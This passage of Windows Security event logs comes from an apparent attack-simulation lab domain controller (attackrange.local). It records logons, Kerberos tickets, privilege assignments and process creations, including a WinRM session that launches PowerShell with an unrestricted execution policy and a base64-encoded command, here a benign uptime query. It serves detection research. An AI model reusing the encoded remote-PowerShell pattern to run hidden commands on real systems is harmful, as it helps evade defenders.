account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253820 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253819 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253818 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253817 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ac - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253816 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1054 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253815 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5AC6B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253814 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5AC6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253813 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253812 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253811 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1060 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1054 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253809 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253808 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59EE0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253807 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x59EE0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253806 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59EE0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253805 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59520 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253804 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59669 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253803 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x541A8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1018 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x100c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253802 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x541A8 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253801 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd5c - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=253800 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253799 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x59669 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49713 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253798 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59669 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253797 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x59520 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x59520 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253795 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: 